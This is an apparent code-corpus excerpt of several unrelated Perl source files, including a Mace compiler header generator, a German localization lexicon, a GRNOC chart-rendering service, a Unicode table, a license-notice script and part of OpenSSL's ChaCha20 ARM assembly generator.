$r .= join(", ", map { $_ . "& " . lcfirst($_) } @handlerNames);
$r .= ") : _sc(sc), ";
$r .= join(", ", map { lcfirst($_) . "(" . lcfirst($_) . ")" } @handlerNames);
$r .= $constructorInit;
$r .= " {\n";
$r .= " rid = NumberGen::Instance(NumberGen::HANDLER_UID)->GetVal();\n";
for my $h (@handlerNames) {
$r .= " _sc.registerHandler(($h&)*this, rid);\n";
}
for my $m (@methodNames) {
# $r .= " pthread_mutex_init(&${cb}Lock, 0);\n";
$r .= " pthread_cond_init(&${m}Signal, 0);\n";
}
$r .= " }\n";
$r .= qq{
registration_uid_t getRegistrationUid() const {
return rid;
}
};
for my $m ($sc->methods()) {
my $name = $m->name();
$r .= " " . $m->toString("novirtual" => 1) . " {\n";
my $ret = "";
if (!$m->returnType()->isVoid()) {
$ret = "return ";
}
my $params = $this->joinParamsWithRid($m->params());
if (!grep($name eq $_, @methodNames)) {
$r .= " ";
$r .= $ret . "_sc.${name}($params);\n";
}
else {
$r .= " ScopedLock sl(BaseMaceService::synclock);\n";
if ($m->options(SYNC_TYPE) eq BLOCK_TYPE) {
my $map = "${name}Flags";
my $id = $m->options(SYNC_ID_FIELDS);
$r .= qq{
ASSERT(!$map.containsKey($id));
${map}[$id] = 0;
};
}
elsif ($m->options(SYNC_TYPE) eq BROADCAST_TYPE) {
$r .= " ${name}Flag = TimeUtil::timeu();\n";
}
$r .= qq{ ${ret}_sc.$name($params);
};
}
$r .= " }\n\n";
}
for my $h (@handlers) {
for my $m ($h->methods()) {
if (!exists($callbacks{$m->name()})) {
my $name = $m->name();
my $ret = "";
if (!$m->returnType()->isVoid()) {
$ret = "return ";
}
my $params = $this->joinParamsWithRid($m->params());
my $hname = lcfirst($h->className());
$r .= " " . $m->toString("novirtual" => 1, "rid" => 1) . " {\n";
$r .= " ${ret}${hname}.${name}($params);\n";
$r .= " }\n\n";
}
}
}
for my $m (@asyncMethods) {
my $name = $m->name();
if ($m->options(SYNC_RETURNTYPE) eq "void") {
$r .= " void ";
}
else {
$r .= " boost::shared_ptr<" . $m->options(SYNC_RETURNTYPE) . "> ";
}
my $syncname = $m->options(SYNC_NAME);
$r .= $m->options(SYNC_NAME) . "(";
$r .= join(", ", map { $_->toString() } $m->params());
$r .= ") {\n";
$r .= qq{ ADD_SELECTORS("${className}::${syncname}");\n};
$r .= qq{ ScopedLog __scoped_log(selector, 0, selectorId->compiler, true, true, true, PIP);\n};
$r .= " ScopedLock sl(BaseMaceService::synclock);\n";
my $params = $this->joinParamsWithRid($m->params());
if ($m->options(SYNC_TYPE) eq BLOCK_TYPE) {
my $id = $m->options(SYNC_ID_FIELDS);
my $returnType = $m->options(SYNC_RETURNTYPE);
# XXX allow multiple fields for id?
$r .= qq{
while (${name}Flags.containsKey($id)) {
pthread_cond_wait(&${name}Signal, &BaseMaceService::synclock);
}
${name}Flags[$id] = TimeUtil::timeu();
_sc.${name}($params);
while (!${name}Results.containsKey($id)) {
pthread_cond_wait(&${name}Signal, &BaseMaceService::synclock);
}
boost::shared_ptr<$returnType> p = ${name}Results[$id];
${name}Results.erase($id);
${name}Flags.erase($id);
pthread_cond_broadcast(&${name}Signal);
return p;
};
} # BLOCK_TYPE
elsif ($m->options(SYNC_TYPE) eq BROADCAST_TYPE) {
$r .= qq{
_sc.${name}($params);
pthread_cond_wait(&${name}Signal, &BaseMaceService::synclock);
};
} # BROADCAST_TYPE
else {
die "unsupported type option: " . $m->options(SYNC_TYPE) . "\n";
}
$r .= " } // $syncname\n";
}
while (my ($cbname, $cb) = each(%callbacks)) {
$r .= "\n " . $cb->toString("novirtual" => 1, "rid" => 1);
my $m = $asyncMethods{$cbname};
my $mname = $m->name();
my $cbparams = join(", ", map { $_->name() } $cb->params());
my $cbparamsRid = $this->joinParamsWithRid($cb->params());
my $handler = lcfirst($handlers{$cbname}->className());
$r .= " {\n";
$r .= qq{ ADD_SELECTORS("${className}::${cbname}");\n};
$r .= " ScopedLock sl(BaseMaceService::synclock);\n";
if ($m->options(SYNC_TYPE) eq BLOCK_TYPE) {
my $resultName = $m->options(SYNC_RETURNTYPE);
my $flagsMapType = $m->options(SYNC_RETURNTYPE) . "AsyncMap";
my $flagsMap = "${mname}Flags";
my $resultsMap = "${mname}Results";
my $id = $m->options(SYNC_ID_FIELDS);
$r .= qq{
${flagsMapType}::iterator i = $flagsMap.find($id);
if (i == $flagsMap.end()) {
ABORT("Cannot find key in flag map");
}
if (i->second == 0) {
$handler.$cbname($cbparamsRid);
$flagsMap.erase(i);
}
else {
${resultsMap}[$id] = boost::shared_ptr<$resultName>(new $resultName($cbparams));
uint64_t now = TimeUtil::timeu();
uint64_t diff = now - i->second;
maceout << diff << " " << $id << Log::endl;
pthread_cond_broadcast(&${mname}Signal);
}
};
} # BLOCK_TYPE
elsif ($m->options(SYNC_TYPE) eq BROADCAST_TYPE) {
my $flag = "${mname}Flag";
$r .= qq{
if ($flag) {
$handler.$cbname($cbparamsRid);
uint64_t now = TimeUtil::timeu();
uint64_t diff = now - $flag;
$flag = 0;
maceout << diff << Log::endl;
}
pthread_cond_broadcast(&${mname}Signal);
};
} # BROADCAST_TYPE
else {
die "unsupported type option\n";
}
$r .= " } // $cbname\n";
}
$r .= "};\n\n";
return $r;
# open(OUT, ">$className.h") or die "cannot open $className.h: $!\n";
# print OUT $r;
# close(OUT);
} # generateSyncMethods
sub parseHandlers {
my $this = shift;
my $name = shift;
if ($name =~ m|^ServiceClass$|) {
return ();
}
my $f = $name . "ServiceClass.mh";
my $path = findPath($f, @Mace::Compiler::Globals::INCLUDE_PATH);
my @text = readFile("$path/$f");
my @linemap;
my @filemap;
my @offsetmap;
Mace::Compiler::MInclude::getLines("$path/$f", \@text, \@linemap, \@filemap, \@offsetmap);
my $text = join("", @text);
my $sc = $this->parser()->parse($text, \@linemap, \@filemap, \@offsetmap);
my @r = ();
for my $el (@{$sc->superclasses()}) {
push(@r, $this->parseHandlers($el));
}
push(@r, @{$sc->handlers()});
return @r;
} # parseHandlers
sub joinParamsWithRid {
my $this = shift;
my @p = @_;
my $params = "";
if (scalar(@p)) {
$params = join(", ", map { $_->name() } @p);
}
if ($params) {
$params .= ", ";
}
$params .= "rid";
return $params;
}
1;
| jojochuang/eventwave | perl5/Mace/Compiler/MaceHeaderCompiler.pm | Perl | bsd-3-clause | 21,169 |
# This program is distributed under the terms of
# The MIT License (MIT)
#
# Copyright (c) 2014 Six Apart, Ltd.
#
# $Id$
package Viewer::L10N::de;
use strict;
use utf8;
use base qw( Viewer::L10N );
our %Lexicon = (
## lib/MT/App/Viewer.pm
'Loading blog with ID [_1] failed' => 'Blog mit ID [_1] konte nicht geladen werden',
'File not found' => 'Datei nicht gefunden',
'Template publishing failed: [_1]' => 'Vorlage konnte nicht veröffentlicht werden: [_1]',
'Unknown archive type: [_1]' => 'Archivtyp unbekannt: [_1]',
'Cannot load template [_1]' => 'Kann Vorlage [_1] nicht laden',
'Archive publishing failed: [_1]' => 'Archiv konnte nicht veröffentlicht werden: [_1]',
'Invalid entry ID [_1].' => 'Ungültige Eintrags-ID [_1]',
'Entry [_1] was not published.' => 'Eintrag [_1] nicht veröffentlicht.',
'Invalid category ID \'[_1]\'' => 'Ungültige Kategorie-ID „[_1]“',
'Invalid author ID \'[_1]\'' => 'Ungültige Autoren-ID „[_1]“',
);
1;
| movabletype/mt-plugin-mtviewer | plugins/MTViewer/lib/Viewer/L10N/de.pm | Perl | mit | 983 |
#--------------------------------------------------------------------
#----- GRNOC TSDS Image DataService Library
#-----
#----- Copyright(C) 2015 The Trustees of Indiana University
#--------------------------------------------------------------------
#----- $HeadURL: svn+ssh://svn.grnoc.iu.edu/grnoc/tsds/services/trunk/lib/GRNOC/TSDS/DataService/Image.pm $
#----- $Id: Image.pm 39799 2015-10-20 15:33:37Z mrmccrac $
#-----
#----- This module inherits the base GRNOC::TSDS::DataService class
#----- and provides all of the methods to interact with image
#--------------------------------------------------------------------
package GRNOC::TSDS::DataService::Image;
use strict;
use warnings;
use base 'GRNOC::TSDS::DataService';
use GRNOC::TSDS::DataService::Query;
use GRNOC::TSDS::DataService::MetaData;
use GRNOC::Log;
use Env::C;
use DateTime;
use Data::Dumper;
use File::Temp;
use MIME::Base64;
use WWW::Mechanize::PhantomJS;
use Template;
use JSON;
use Sys::Hostname;
use Time::HiRes qw (usleep);
# this will hold the only actual reference to this object
my $singleton;
sub new {
my $caller = shift;
my $class = ref( $caller );
$class = $caller if ( !$class );
# if we've created this object (singleton) before, just return it
return $singleton if ( defined( $singleton ) );
my $self = $class->SUPER::new( @_ );
bless( $self, $class );
# store our newly created object as the singleton
$singleton = $self;
$self->query_ds( GRNOC::TSDS::DataService::Query->new( @_ ) );
$self->metadata_ds( GRNOC::TSDS::DataService::MetaData->new( @_ ) );
return $self;
}
sub get_image {
my ( $self, %args ) = @_;
my $content = $args{'content'};
my $mech = WWW::Mechanize::PhantomJS->new();
$mech->get(0);
$mech->update_html("<html><body style='background-color: white;'>$content</body></html>");
my $png = $mech->content_as_png();
return encode_base64($png);
}
sub get_chart {
my ( $self, %args ) = @_;
my $query = $args{'query'};
my $output_format = $args{'output_format'};
my $type = _format_chart_type($args{'type'});
my $query_info = _process_query($query);
my $remote_user = $args{'remote_user'};
if ( !defined($query_info) ) {
$self->error( 'Error processing query.' );
return;
}
# verify that the GRNOC glue is available
if ( ( ! -e '/usr/share/grnoc/glue/GRNOC/util/Bootstrap/1/Bootstrap.html' ) ||
( ! -e '/usr/share/grnoc/glue/GRNOC/widget/Chart/1/Group/Group.html' ) ) {
$self->error( "glue installation not found." );
return;
}
if (defined($query_info->{'tz'})) {
Env::C::setenv('TZ', $query_info->{'tz'});
}
my $hostname = hostname();
my $temp_path = '/usr/share/grnoc/tsds-services/temp/';
my $output;
my $vars = {
'title' => 'Chart',
'favicon' => '#',
'application_id' => 'server_side_chart',
'server_history' => 0,
'debug' => 0
};
my $tt = Template->new(INCLUDE_PATH => '/usr/share/grnoc/glue/GRNOC/util/Bootstrap/1/', ABSOLUTE => 1);
$tt->process("Bootstrap.html", $vars, \$output);
my $html = "<html><head><base href=\"https://$hostname\"/>";
$html .= "$output</head><body>";
$html .= "<div id='mychart' style='height:20px;width:1000px'></div>";
# get chart data
my $json_result;
my $result = $self->query_ds()->run_query(query => $query);
if (defined($result)) {
$json_result = encode_json($result);
}
else {
$self->error( 'Error processing query.' );
return;
}
# get metadata type values
my $mtv;
$result = $self->metadata_ds()->get_measurement_type_values(measurement_type => $query_info->{'measurement_type'});
if (defined($result)) {
$mtv = encode_json($result);
}
else {
$self->error( 'Error processing query.' );
return;
}
# Chart widget
my $chart_widget_output;
my $chart_widget = '[% INCLUDE "/usr/share/grnoc/glue/GRNOC/widget/Chart/1/Group/Group.html" %]';
$tt->process(\$chart_widget, undef, \$chart_widget_output);
# phantomjs 1.X is missing bind
my $polyfill = "<script>if (!Function.prototype.bind) {
Function.prototype.bind = function(oThis) {
if (typeof this !== 'function') {
// closest thing possible to the ECMAScript 5
// internal IsCallable function
throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
}
var aArgs = Array.prototype.slice.call(arguments, 1),
fToBind = this,
fNOP = function() {},
fBound = function() {
return fToBind.apply(this instanceof fNOP
? this
: oThis,
aArgs.concat(Array.prototype.slice.call(arguments)));
};
if (this.prototype) {
// Function.prototype doesn't have a prototype property
fNOP.prototype = this.prototype;
}
fBound.prototype = new fNOP();
return fBound;
};
}</script>";
my $local_data = "<script>var chart_data = $json_result;
var query = '$query';
var mtv = $mtv;
var type = '$type';
var between = [new Date('$query_info->{'start'}'), new Date('$query_info->{'end'}')];
</script>";
my $app = "<script>
var flag = 0;
GRNOC.loaded.subscribe(function(){
var chart_div = Y.one('#mychart');
var chart_group = new GRNOC.widget.Chart.Group('mychartgroup',
{
dynamic_markup: { parent: chart_div },
between: between,
type: type,
chart_data: {data:chart_data, query:query, measurement_type_values:mtv}
});
chart_group.renderEvent.subscribe(function(){
flag = 1;
},null);
});
</script>";
$html .= "$chart_widget_output $polyfill $local_data $app</body></html>";
my $filename = rand(time());
$filename = 'chart_'.$filename.'.html';
my $filepath = $temp_path.$filename;
open(my $fh, '>', $filepath) or die "Could not open file '$filepath' $!";
print $fh $html;
close $fh;
my $chart_url = "https://$hostname/tsds-services/temp/".$filename;
my $mech = WWW::Mechanize::PhantomJS->new(phantomjs_arg => ['--ssl-protocol=any']);
my $r_obj = $mech->get($chart_url);
my ($value) = $mech->eval('flag');
my $max = 500;
while ($value != 1) {
($value) = $mech->eval('flag');
$max--;
if ($max == 0) {
last;
}
usleep(10 * 1000);
}
my $png = $mech->content_as_png();
unlink $filepath;
# return PNG binary if specified, return base64 by default
if (defined($output_format) and (lc($output_format) eq 'binary')) {
$self->{'output_formatter'} = sub { shift };
return $png;
}
else {
return encode_base64($png);
}
}
sub _process_query {
my $query = shift;
my $query_info = {};
my $tz;
$query =~ /between\s*\(\s*"\s*(\S+)\s*"\s*,\s*"\s*(\S+)\s*"\s*\)/;
if ($1 and $2) {
$query_info->{'start'} = $1;
$query_info->{'end'} = $2;
$tz = undef;
}
else {
$query =~ /between\s*\(\s*"\s*(\S+)\s+(\S+)\s*"\s*,\s*"\s*(\S+)\s+(\S+)\s*"\s*\)/;
if ($1 and $2 and $3 and $4) {
$query_info->{'start'} = "$1 $2";
$query_info->{'end'} = "$3 $4";
my $t1 = $2;
my $t2 = $4;
if (_validate_time($t1) and _validate_time($t2)) {
$tz = undef;
}
else {
$tz = _get_unix_timezone($t1, $t2);
}
}
else {
$query =~ /between\s*\(\s*"\s*(\S+)\s+(\S+)\s+(\S+)\s*"\s*,\s*"\s*(\S+)\s+(\S+)\s+(\S+)\s*"\s*\)/;
if ($1 and $2 and $3 and $4 and $5 and $6) {
$query_info->{'start'} = "$1 $2 $3";
$query_info->{'end'} = "$4 $5 $6";
}
else {
return;
}
$tz = _get_unix_timezone($3, $6);
}
}
$query_info->{'tz'} = $tz;
my $measurement_type;
if ($query =~ /\s+from\s+(\S+)/) {
$query_info->{'measurement_type'} = $1;
}
return $query_info;
}
sub _format_chart_type {
my $type = shift;
if (!defined($type)) {
return 'Default';
}
$type = lc($type);
if ($type eq 'aggregate') {
return 'Aggregate';
}
else {
return 'Default';
}
# more types in the future
}
sub _get_unix_timezone {
my $tz1 = uc($_[0]);
my $tz2 = uc($_[1]);
if ($tz1 ne $tz2) {
}
my $tz = $tz1;
if ($tz eq 'EST' or $tz eq 'EDT') {
$tz = 'US/Eastern';
}
elsif ($tz eq 'CST' or $tz eq 'CDT') {
$tz = 'US/Central';
}
elsif ($tz eq 'MST' or $tz eq 'MDT') {
$tz = 'US/Mountain';
}
elsif ($tz eq 'PST' or $tz eq 'PDT') {
$tz = 'US/Pacific';
}
elsif ($tz eq 'UTC') {
$tz = 'UTC';
}
else {
$tz = undef;
}
}
sub _validate_time {
my $t = shift;
if ($t =~ /^(?:(?:([01]?\d|2[0-3]):)?([0-5]?\d):)?([0-5]?\d)$/) {
return 1;
}
else {
return 0;
}
}
1;
| daldoyle/tsds-services | lib/GRNOC/TSDS/DataService/Image.pm | Perl | apache-2.0 | 9,859 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by lib/unicore/mktables from the Unicode
# database, Version 6.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or existence of this file are subject to change without notice. Don't
# use it directly.
return <<'END';
3250
32CC 32CF
3300 3357
3371 33DF
33FF
1F130 1F14F
1F190
1F200 1F202
1F210 1F23A
END
| efortuna/AndroidSDKClone | ndk_experimental/prebuilt/linux-x86_64/lib/perl5/5.16.2/unicore/lib/Dt/Sqr.pl | Perl | apache-2.0 | 511 |
#!/usr/bin/env perl
use v5.10;
use strict;
use warnings;
use utf8;
use open qw/:std :utf8/;
use File::Find qw/find/;
my @license_files;
find(
sub {
return unless lc($_) eq 'license';
push @license_files, [ $File::Find::dir, $File::Find::name ];
},
'vendor'
);
print forked_licenses();
for my $entry (sort { $a->[0] cmp $b->[0] } @license_files) {
( my $package_name = $entry->[0] ) =~ s{vendor/}{};
my $license_text = do { local ( @ARGV, $/ ) = $entry->[1]; <> };
$license_text =~ s/ +$//mg;
say "" x 70;
say "-" x 70;
say "License notice for $package_name";
say "-" x 70;
say "";
print $license_text;
}
# These licenses are the originals for forked code; they must
# be included along with license from the vendor directory
sub forked_licenses {
return <<'HERE';
---------------------------------------------------------------------
License notice for gopkg.in/mgo.v2/bson
---------------------------------------------------------------------
BSON library for Go
Copyright (c) 2010-2013 - Gustavo Niemeyer <gustavo@niemeyer.net>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
---------------------------------------------------------------------
License notice for JSON and CSV code from github.com/golang/go
---------------------------------------------------------------------
Copyright (c) 2009 The Go Authors. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
HERE
}
| ironcladlou/origin | vendor/go.mongodb.org/mongo-driver/etc/generate-notices.pl | Perl | apache-2.0 | 4,065 |
#! /usr/bin/env perl
# Copyright 2016 The OpenSSL Project Authors. All Rights Reserved.
#
# Licensed under the OpenSSL license (the "License"). You may not use
# this file except in compliance with the License. You can obtain a copy
# in the file LICENSE in the source distribution or at
# https://www.openssl.org/source/license.html
#
# ====================================================================
# Written by Andy Polyakov <appro@openssl.org> for the OpenSSL
# project. The module is, however, dual licensed under OpenSSL and
# CRYPTOGAMS licenses depending on where you obtain it. For further
# details see http://www.openssl.org/~appro/cryptogams/.
# ====================================================================
#
# December 2014
#
# ChaCha20 for ARMv4.
#
# Performance in cycles per byte out of large buffer.
#
# IALU/gcc-4.4 1xNEON 3xNEON+1xIALU
#
# Cortex-A5 19.3(*)/+95% 21.8 14.1
# Cortex-A8 10.5(*)/+160% 13.9 6.35
# Cortex-A9 12.9(**)/+110% 14.3 6.50
# Cortex-A15 11.0/+40% 16.0 5.00
# Snapdragon S4 11.5/+125% 13.6 4.90
#
# (*) most "favourable" result for aligned data on little-endian
# processor, result for misaligned data is 10-15% lower;
# (**) this result is a trade-off: it can be improved by 20%,
# but then Snapdragon S4 and Cortex-A8 results get
# 20-25% worse;
$flavour = shift;
if ($flavour=~/\w[\w\-]*\.\w+$/) { $output=$flavour; undef $flavour; }
else { while (($output=shift) && ($output!~/\w[\w\-]*\.\w+$/)) {} }
if ($flavour && $flavour ne "void") {
$0 =~ m/(.*[\/\\])[^\/\\]+$/; $dir=$1;
( $xlate="${dir}arm-xlate.pl" and -f $xlate ) or
( $xlate="${dir}../../perlasm/arm-xlate.pl" and -f $xlate) or
die "can't locate arm-xlate.pl";
open STDOUT,"| \"$^X\" $xlate $flavour $output";
} else {
open STDOUT,">$output";
}
sub AUTOLOAD() # thunk [simplified] x86-style perlasm
{ my $opcode = $AUTOLOAD; $opcode =~ s/.*:://; $opcode =~ s/_/\./;
my $arg = pop;
$arg = "#$arg" if ($arg*1 eq $arg);
$code .= "\t$opcode\t".join(',',@_,$arg)."\n";
}
my @x=map("r$_",(0..7,"x","x","x","x",12,"x",14,"x"));
my @t=map("r$_",(8..11));
sub ROUND {
my ($a0,$b0,$c0,$d0)=@_;
my ($a1,$b1,$c1,$d1)=map(($_&~3)+(($_+1)&3),($a0,$b0,$c0,$d0));
my ($a2,$b2,$c2,$d2)=map(($_&~3)+(($_+1)&3),($a1,$b1,$c1,$d1));
my ($a3,$b3,$c3,$d3)=map(($_&~3)+(($_+1)&3),($a2,$b2,$c2,$d2));
my $odd = $d0&1;
my ($xc,$xc_) = (@t[0..1]);
my ($xd,$xd_) = $odd ? (@t[2],@x[$d1]) : (@x[$d0],@t[2]);
my @ret;
# Consider order in which variables are addressed by their
# index:
#
# a b c d
#
# 0 4 8 12 < even round
# 1 5 9 13
# 2 6 10 14
# 3 7 11 15
# 0 5 10 15 < odd round
# 1 6 11 12
# 2 7 8 13
# 3 4 9 14
#
# 'a', 'b' are permanently allocated in registers, @x[0..7],
# while 'c's and pair of 'd's are maintained in memory. If
# you observe 'c' column, you'll notice that pair of 'c's is
# invariant between rounds. This means that we have to reload
# them once per round, in the middle. This is why you'll see
# bunch of 'c' stores and loads in the middle, but none in
# the beginning or end. If you observe 'd' column, you'll
# notice that 15 and 13 are reused in next pair of rounds.
# This is why these two are chosen for offloading to memory,
# to make loads count more.
push @ret,(
"&add (@x[$a0],@x[$a0],@x[$b0])",
"&mov ($xd,$xd,'ror#16')",
"&add (@x[$a1],@x[$a1],@x[$b1])",
"&mov ($xd_,$xd_,'ror#16')",
"&eor ($xd,$xd,@x[$a0],'ror#16')",
"&eor ($xd_,$xd_,@x[$a1],'ror#16')",
"&add ($xc,$xc,$xd)",
"&mov (@x[$b0],@x[$b0],'ror#20')",
"&add ($xc_,$xc_,$xd_)",
"&mov (@x[$b1],@x[$b1],'ror#20')",
"&eor (@x[$b0],@x[$b0],$xc,'ror#20')",
"&eor (@x[$b1],@x[$b1],$xc_,'ror#20')",
"&add (@x[$a0],@x[$a0],@x[$b0])",
"&mov ($xd,$xd,'ror#24')",
"&add (@x[$a1],@x[$a1],@x[$b1])",
"&mov ($xd_,$xd_,'ror#24')",
"&eor ($xd,$xd,@x[$a0],'ror#24')",
"&eor ($xd_,$xd_,@x[$a1],'ror#24')",
"&add ($xc,$xc,$xd)",
"&mov (@x[$b0],@x[$b0],'ror#25')" );
push @ret,(
"&str ($xd,'[sp,#4*(16+$d0)]')",
"&ldr ($xd,'[sp,#4*(16+$d2)]')" ) if ($odd);
push @ret,(
"&add ($xc_,$xc_,$xd_)",
"&mov (@x[$b1],@x[$b1],'ror#25')" );
push @ret,(
"&str ($xd_,'[sp,#4*(16+$d1)]')",
"&ldr ($xd_,'[sp,#4*(16+$d3)]')" ) if (!$odd);
push @ret,(
"&eor (@x[$b0],@x[$b0],$xc,'ror#25')",
"&eor (@x[$b1],@x[$b1],$xc_,'ror#25')" );
$xd=@x[$d2] if (!$odd);
$xd_=@x[$d3] if ($odd);
push @ret,(
"&str ($xc,'[sp,#4*(16+$c0)]')",
"&ldr ($xc,'[sp,#4*(16+$c2)]')",
"&add (@x[$a2],@x[$a2],@x[$b2])",
"&mov ($xd,$xd,'ror#16')",
"&str ($xc_,'[sp,#4*(16+$c1)]')",
"&ldr ($xc_,'[sp,#4*(16+$c3)]')",
"&add (@x[$a3],@x[$a3],@x[$b3])",
"&mov ($xd_,$xd_,'ror#16')",
"&eor ($xd,$xd,@x[$a2],'ror#16')",
"&eor ($xd_,$xd_,@x[$a3],'ror#16')",
"&add ($xc,$xc,$xd)",
"&mov (@x[$b2],@x[$b2],'ror#20')",
"&add ($xc_,$xc_,$xd_)",
"&mov (@x[$b3],@x[$b3],'ror#20')",
"&eor (@x[$b2],@x[$b2],$xc,'ror#20')",
"&eor (@x[$b3],@x[$b3],$xc_,'ror#20')",
"&add (@x[$a2],@x[$a2],@x[$b2])",
"&mov ($xd,$xd,'ror#24')",
"&add (@x[$a3],@x[$a3],@x[$b3])",
"&mov ($xd_,$xd_,'ror#24')",
"&eor ($xd,$xd,@x[$a2],'ror#24')",
"&eor ($xd_,$xd_,@x[$a3],'ror#24')",
"&add ($xc,$xc,$xd)",
"&mov (@x[$b2],@x[$b2],'ror#25')",
"&add ($xc_,$xc_,$xd_)",
"&mov (@x[$b3],@x[$b3],'ror#25')",
"&eor (@x[$b2],@x[$b2],$xc,'ror#25')",
"&eor (@x[$b3],@x[$b3],$xc_,'ror#25')" );
@ret;
}
$code.=<<___;
#include "arm_arch.h"
.text
#if defined(__thumb2__)
.syntax unified
.thumb
#else
.code 32
#endif
#if defined(__thumb2__) || defined(__clang__)
#define ldrhsb ldrbhs
#endif
.align 5
.Lsigma:
.long 0x61707865,0x3320646e,0x79622d32,0x6b206574 @ endian-neutral
.Lone:
.long 1,0,0,0
#if __ARM_MAX_ARCH__>=7
.LOPENSSL_armcap:
.word OPENSSL_armcap_P-.LChaCha20_ctr32
#else
.word -1
#endif
.globl ChaCha20_ctr32
.type ChaCha20_ctr32,%function
.align 5
ChaCha20_ctr32:
.LChaCha20_ctr32:
ldr r12,[sp,#0] @ pull pointer to counter and nonce
stmdb sp!,{r0-r2,r4-r11,lr}
#if __ARM_ARCH__<7 && !defined(__thumb2__)
sub r14,pc,#16 @ ChaCha20_ctr32
#else
adr r14,.LChaCha20_ctr32
#endif
cmp r2,#0 @ len==0?
#ifdef __thumb2__
itt eq
#endif
addeq sp,sp,#4*3
beq .Lno_data
#if __ARM_MAX_ARCH__>=7
cmp r2,#192 @ test len
bls .Lshort
ldr r4,[r14,#-32]
ldr r4,[r14,r4]
# ifdef __APPLE__
ldr r4,[r4]
# endif
tst r4,#ARMV7_NEON
bne .LChaCha20_neon
.Lshort:
#endif
ldmia r12,{r4-r7} @ load counter and nonce
sub sp,sp,#4*(16) @ off-load area
sub r14,r14,#64 @ .Lsigma
stmdb sp!,{r4-r7} @ copy counter and nonce
ldmia r3,{r4-r11} @ load key
ldmia r14,{r0-r3} @ load sigma
stmdb sp!,{r4-r11} @ copy key
stmdb sp!,{r0-r3} @ copy sigma
str r10,[sp,#4*(16+10)] @ off-load "@x[10]"
str r11,[sp,#4*(16+11)] @ off-load "@x[11]"
b .Loop_outer_enter
.align 4
.Loop_outer:
ldmia sp,{r0-r9} @ load key material
str @t[3],[sp,#4*(32+2)] @ save len
str r12, [sp,#4*(32+1)] @ save inp
str r14, [sp,#4*(32+0)] @ save out
.Loop_outer_enter:
ldr @t[3], [sp,#4*(15)]
ldr @x[12],[sp,#4*(12)] @ modulo-scheduled load
ldr @t[2], [sp,#4*(13)]
ldr @x[14],[sp,#4*(14)]
str @t[3], [sp,#4*(16+15)]
mov @t[3],#10
b .Loop
.align 4
.Loop:
subs @t[3],@t[3],#1
___
foreach (&ROUND(0, 4, 8,12)) { eval; }
foreach (&ROUND(0, 5,10,15)) { eval; }
$code.=<<___;
bne .Loop
ldr @t[3],[sp,#4*(32+2)] @ load len
str @t[0], [sp,#4*(16+8)] @ modulo-scheduled store
str @t[1], [sp,#4*(16+9)]
str @x[12],[sp,#4*(16+12)]
str @t[2], [sp,#4*(16+13)]
str @x[14],[sp,#4*(16+14)]
@ at this point we have first half of 512-bit result in
@ @x[0-7] and second half at sp+4*(16+8)
cmp @t[3],#64 @ done yet?
#ifdef __thumb2__
itete lo
#endif
addlo r12,sp,#4*(0) @ shortcut or ...
ldrhs r12,[sp,#4*(32+1)] @ ... load inp
addlo r14,sp,#4*(0) @ shortcut or ...
ldrhs r14,[sp,#4*(32+0)] @ ... load out
ldr @t[0],[sp,#4*(0)] @ load key material
ldr @t[1],[sp,#4*(1)]
#if __ARM_ARCH__>=6 || !defined(__ARMEB__)
# if __ARM_ARCH__<7
orr @t[2],r12,r14
tst @t[2],#3 @ are input and output aligned?
ldr @t[2],[sp,#4*(2)]
bne .Lunaligned
cmp @t[3],#64 @ restore flags
# else
ldr @t[2],[sp,#4*(2)]
# endif
ldr @t[3],[sp,#4*(3)]
add @x[0],@x[0],@t[0] @ accumulate key material
add @x[1],@x[1],@t[1]
